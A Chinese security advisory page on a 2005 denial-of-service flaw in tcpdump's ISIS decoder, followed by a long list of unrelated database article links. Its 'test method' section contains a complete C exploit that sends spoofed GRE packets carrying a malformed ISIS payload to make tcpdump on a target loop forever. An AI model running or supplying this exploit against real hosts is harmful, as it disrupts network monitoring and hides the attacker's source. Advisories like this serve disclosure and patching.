Tcpdump ISIS解码例程拒绝服务漏洞
|
信息提供: |
安全公告(或线索)提供热线:51cto.editor@gmail.com |
|
漏洞类别: |
设计错误 |
|
攻击类型: |
拒绝服务攻击 |
|
发布日期: |
2005-04-27 |
|
更新日期: |
2005-04-27 |
|
受影响系统: |
LBL tcpdump 3.9.1 LBL tcpdump 3.8.x |
|
安全系统: |
无 |
|
漏洞报告人: |
Vade 79 (v9@fakehalo.deadpig.org) |
|
漏洞描述: |
BUGTRAQ ID: 13392 Tcpdump是一款免费的网络分析程序,适用于多种Unix操作系统。 Tcpdump对ISIS协议的解码存在漏洞,远程攻击者可能利用此漏洞对进程执行拒绝服务攻击。 起因是tcpdump解码Intermediate System to Intermediate System (ISIS)报文的方式存在漏洞。远程攻击者可以通过发送畸形的ISIS报文导致软件陷入死循环。 |
|
测试方法: |
警 告 #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #ifdef _USE_ARPA #include <arpa/inet.h> #endif /* doesnt seem to be standardized, so... */ #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER) #define BYTE_ORDER __BYTE_ORDER #endif #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN) #define BIG_ENDIAN __BIG_ENDIAN #endif #if defined(BYTE_ORDER) && defined(BIG_ENDIAN) #if BYTE_ORDER == BIG_ENDIAN #define _USE_BIG_ENDIAN #endif #endif #define DFL_AMOUNT 5 /* avoid platform-specific header madness. */ /* (just plucked out of header files) */ struct iph{ #ifdef _USE_BIG_ENDIAN unsigned char version:4,ihl:4; #else unsigned char ihl:4,version:4; #endif unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct greh{ #ifdef _USE_BIG_ENDIAN u_int8_t check:1,routing:1,key:1,seq:1,strict:1,recur:3; u_int8_t flags:5,version:3; #else u_int8_t recur:3,strict:1,seq:1,key:1,routing:1,check:1; u_int8_t version:3,flags:5; #endif u_int16_t protocol; }; struct sumh{ unsigned int saddr; unsigned int daddr; unsigned char fill; unsigned char protocol; unsigned short len; }; /* malformed ISIS data. (the bug) */ static char payload[]= "\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00"; /* prototypes. (and sig_alarm) */ void gre_spoof(unsigned int,unsigned int); unsigned short in_cksum(unsigned short *,signed int); unsigned int getip(char *); void printe(char *,signed char); void sig_alarm(){printe("alarm/timeout hit.",1);} /* begin. */ int main(int argc,char **argv) { unsigned char nospoof=0; unsigned int amt=DFL_AMOUNT; unsigned int daddr=0,saddr=0; printf("[*] tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop " "DOS.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n"); if(argc<2){ printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n", argv[0]); exit(1); } if(!(daddr=getip(argv[1]))) printe("invalid destination host/ip.",1); if(argc>2)saddr=getip(argv[2]); if(argc>3)amt=atoi(argv[3]); if(!amt)printe("no packets?",1); printf("[*] destination\t: %s\n",argv[1]); if(!nospoof) printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>")); printf("[*] amount\t: %u\n\n",amt); printf("[+] sending(packet = .): "); fflush(stdout); while(amt--){ /* spice things up. */ srandom(time(0)+amt); gre_spoof(daddr,saddr); printf("."); fflush(stdout); usleep(50000); } printf("\n\n[*] done.\n"); fflush(stdout); exit(0); } /* (spoofed) generates and sends a (GRE) ip packet. */ void gre_spoof(unsigned int daddr,unsigned int saddr){ signed int sock=0,on=1; unsigned int psize=0; char *p,*s; struct sockaddr_in sa; struct iph ip; struct greh gre; struct sumh sum; /* create raw (GRE) socket. */ if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_GRE))<0) printe("could not allocate raw socket.",1); /* allow (on some systems) for the user-supplied ip header. */ #ifdef IP_HDRINCL if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))) printe("could not set IP_HDRINCL socket option.",1); #endif sa.sin_family=AF_INET; sa.sin_addr.s_addr=daddr; psize=(sizeof(struct iph)+sizeof(struct greh)+sizeof(payload)-1); memset(&ip,0,sizeof(struct iph)); memset(&gre,0,sizeof(struct greh)); /* values not filled = 0, from the memset() above. */ ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); ip.saddr=(saddr?saddr:random()%0xffffffff); ip.daddr=daddr; ip.ttl=(64*(random()%2+1)); ip.protocol=IPPROTO_GRE; ip.frag_off=64; /* OSI. (to isoclns_print(), then to isis_print()) */ gre.protocol=htons(254); /* needed for the ip checksum. */ sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct greh)+sizeof(payload)-1); /* make sum/calc buffer for the ip checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct iph)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct iph)+1)); memcpy(s,&ip,sizeof(struct iph)); ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); free(s); /* put the packet together. */ if(!(p=(char *)malloc(psize+1))) printe("malloc() failed.",1); memset(p,0,psize); memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&gre,sizeof(struct greh)); memcpy(p+(sizeof(struct iph)+sizeof(struct greh)), payload,sizeof(payload)); /* send the malformed (GRE) packet. (ISIS data) */ if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) printe("failed to send forged GRE packet.",1); free(p); return; } /* standard method for creating TCP/IP checksums. */ unsigned short in_cksum(unsigned short *addr,signed int len){ unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } /* gets the ip from a host/ip/numeric. */ unsigned int getip(char *host){ struct hostent *t; unsigned int s=0; if((s=inet_addr(host))){ if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); } if(s==-1)s=0; return(s); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; } |
|
解决方法: |
厂商补丁: LBL --- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.tcpdump.org |
↓相关文章:
- · Informix动态服务器onstat选项
- · Informix SQL 的使用技巧
- · 在UNIX下的Informix-online中合理地组织表
- · 开发优质高效的Informix数据库应用程序(1)
- · Informix数据备份技巧
- · Informix 4GL写的转换成大写金额字串的函数
- · 一个批量删除临时表的sh用于informix
- · 影响CPU使用率的配置参数和环境变量
- · Ontape -r 恢复总结(1)
- · 用shell实现Informix的性能监控
- · Windows xp下的Informix connect配置方法
- · OnLine非正常结束后处理办法
- · OnLine进程被挂起后处理办法
- · Informix动态服务器表分片策略的计划和调整
- · 备份Informix-Online数据库三法
- · datetime类型简介
- · 配置Informix动态服务器中CPU虚处理器
- · online的备份详解
- · 配置和实现Informix ON-Bar的备份解决方案
- · Informix sysmaster表详解
- · JDBC连接Informix IDS
- · Sybase数据库死锁对策
- · SYBASE ASA数据库恢复方法
- · Sybase数据库简介(1)
- · SYBASE零售行业解决方案
- · SYBASE数据库日志详解
- · SQL Server 的通用分页显示存储过程
- · Oracle数据库中索引的维护(1)
- · Oracle9i的索引监视及注意事项
- · Oracle 的位图索引简述
- · 在ORACLE里按用户名重建索引的方法
- · Oracle数据库强制索引
- · 改善Oracle的索引
- · Oracle管理查询管用的sql语句
- · Oracle中的模糊查询
- · Oracle 中使用层次查询方便处理财务报表
- · 使用Oracle的Instr()与decode()函数进行多条件组合查询
- · MS SQL Server查询优化方法
- · Access使用查询
- · Access的跨库查询
- · Access 创建索引
- · 为数据库建立索引
- · 优化Microsoft Access提高速度
- · Sybase数据库的性能优化
- · 查询优化
- · 提高ORACLE数据库的查询统计速度
- · ORACLE SQL性能优化 (上)(1)
- · ORACLE SQL性能优化 (下)(1)
- · SQL Server性能分析参数
- · SQL Server 性能优化工具(1)
- · 使用索引调节向导调整应用程序的性能
- · 优化SQL Server服务器内存配置的策略
- · 影响SQL server性能的关键三个方面
- · MySQL性能优化的参数简介
- · MYSQL数据库的查询优化技术
- · 确定Oracle数据库表中重复的记录
- · Access数据库与SQLserver2000的数据互导
- · SQLServer和Access、Excel数据传输简单总结
- · SQL Server到Oracle连接服务器的实现
- · 使用SQL Server数据转换服务升迁Access数据库(1)
- · 将Access移植到SQL Server
- · 联系使用Excel和SQL(1)
- · 避免Access和SQL Server的空值冲突
- · 保护SQL Server:为安全性而安装
- · SQL Server 2000 客户端实用程序
- · 执行一个安全的SQL Server安装
- · SQL Server安全-加密术和SQL注入攻击
- · 指定文件位置优化性能
- · SQL Server备份的三个恢复模型
- · SQL Server的空值处理策略
- · 两个SQL Server维护技巧
- · 用SQL Server保持会话状态
- · 使用SQL服务器内置的错误寻找器寻找和剖析错误
- · 安装SQL Server 2000
- · SQL Server 2000 与 SQL Server 7.0 版兼容性问题
- · MS SQL Server 7.0 性能优化指南
- · MS SQL Server 7.0 的 SAP R/3 性能优化指南
- · 基于WEB的数据库查询
- · Sql Server全文搜索中文出错的问题
- · SQL Server7移动数据的6种方法

